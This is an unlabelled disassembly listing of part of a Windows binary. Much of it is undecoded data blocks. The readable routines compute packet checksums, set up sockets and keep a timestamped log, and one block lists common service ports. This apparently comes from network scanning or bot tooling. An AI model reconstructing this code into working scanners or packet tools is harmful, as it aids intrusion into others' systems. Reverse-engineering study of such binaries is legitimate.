		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABB0h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAFA4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0A415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435E0C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435DBC68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2BBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EE868FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 5E89000h, 2B0226C4h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF48h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D5A868h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	3868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435F1Ch, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43610Ch, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh
		dd 50004CAFh, 4360BC68h, 8D1BEB00h, 0FF500C45h,	4CAFE415h
		dd 0FFF88300h, 15FF2075h, 4CAF38h, 60786850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 604C68FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7583Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D5A868ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h
		dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch
		dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h
		dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h
		dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h,	523D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch
		dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h,	546852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE338h, 0FFF475FFh,	4CB00815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 9E890FCh,	2B0226BFh, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE868h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5C68500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 613868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF4C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h,	0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB02415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E7CCBF83h, 6468004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 64685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h
		dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h
		dd 0A366286Ah, 4CE76Ch,	0AFA415FFh, 0D80004Ch, 4CE770h
		dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh
		dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h
		dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh
		dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh
		dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h
		dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h,	4CE7A81Dh
		dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh
		dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh
		dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch
		dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h
		dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h,	7CBE5905h
		dd 0BF004CE7h, 4CE7ACh,	721D8966h, 66004CE7h, 0E78C1D89h
		dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h
		dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h,	286A5300h
		dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 5DE890FFh, 2B0226B8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25AF5BE8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D160
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D160[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D178[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42923C
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436180
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D160

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43616C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2780144h
		mov	ebx, offset dword_4D2BCC
		mov	edi, 80h
		mov	esi, offset dword_4CEBCC

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEBCC
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2BCC
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4361CC
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_4361B8
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361FC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEBCC

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2BCC
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361E0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
